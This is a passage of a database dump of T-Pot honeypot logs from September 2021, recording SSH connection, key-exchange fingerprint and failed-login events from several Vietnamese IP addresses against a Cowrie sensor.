"event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23059	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:18.722571+03	2021-09-20 14:15:07.01847+03	{"_id": "RQbjAnwBvYTbRNuEigmB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2080511877350459, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39548, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.722571Z", "@timestamp": "2021-09-20T11:07:18.722Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23060	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.30892+03	2021-09-20 14:15:07.020499+03	{"_id": "VQbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e73a41285afe", "@version": "1", "timestamp": "2021-09-20T11:07:18.308920Z", "@timestamp": "2021-09-20T11:07:18.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23061	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.344335+03	2021-09-20 14:15:07.0215+03	{"_id": "VgbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "53d318841bf2", "@version": "1", "duration": 2.7859437465667725, "timestamp": "2021-09-20T11:07:18.344335Z", "@timestamp": "2021-09-20T11:07:18.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23062	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:18.494852+03	2021-09-20 14:15:07.0225+03	{"_id": "VwbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a46ea9b73856", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:18.494852Z", "@timestamp": "2021-09-20T11:07:18.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23063	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.572159+03	2021-09-20 14:15:07.0245+03	{"_id": "WAbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [proxy/proxy] failed", "session": "926186f5e9fe", "@version": "1", "password": "proxy", "username": "proxy", "timestamp": "2021-09-20T11:07:18.572159Z", "@timestamp": "2021-09-20T11:07:18.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23064	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:18.92786+03	2021-09-20 14:15:07.025505+03	{"_id": "WQbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fa9110283934", "@version": "1", "duration": 2.7448570728302, "timestamp": "2021-09-20T11:07:18.927860Z", "@timestamp": "2021-09-20T11:07:18.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23065	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.943548+03	2021-09-20 14:15:07.026499+03	{"_id": "WgbjAnwBvYTbRNuEiwny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5b8be0924f8c", "@version": "1", "duration": 2.4549624919891357, "timestamp": "2021-09-20T11:07:18.943548Z", "@timestamp": "2021-09-20T11:07:18.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23066	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:18.443605+03	2021-09-20 14:15:07.027502+03	{"_id": "ZgbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:39548 (192.168.176.2:22) [session: a46ea9b73856]", "session": "a46ea9b73856", "@version": "1", "protocol": "ssh", "src_port": 39548, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.443605Z", "@timestamp": "2021-09-20T11:07:18.443Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23067	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.471572+03	2021-09-20 14:15:07.029513+03	{"_id": "ZwbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43956 (192.168.176.2:22) [session: 1f6da6736d76]", "session": "1f6da6736d76", "@version": "1", "protocol": "ssh", "src_port": 43956, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.471572Z", "@timestamp": "2021-09-20T11:07:18.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23068	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:18.850865+03	2021-09-20 14:15:07.0305+03	{"_id": "aAbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:46342 (192.168.176.2:22) [session: 3017dad45879]", "session": "3017dad45879", "@version": "1", "protocol": "ssh", "src_port": 46342, "dest_port": 22, "timestamp": "2021-09-20T11:07:18.850865Z", "@timestamp": "2021-09-20T11:07:18.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23069	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:17.866805+03	2021-09-20 14:15:07.03147+03	{"_id": "bQbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57842, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.866805", "@timestamp": "2021-09-20T11:07:17.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23070	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:17.921567+03	2021-09-20 14:15:07.03247+03	{"_id": "bgbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41954, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.921567", "@timestamp": "2021-09-20T11:07:17.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23071	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:18.08657+03	2021-09-20 14:15:07.034471+03	{"_id": "bwbjAnwBvYTbRNuEiwn-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51570, "timestamp": "2021-09-20T11:07:18.086570", "@timestamp": "2021-09-20T11:07:18.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
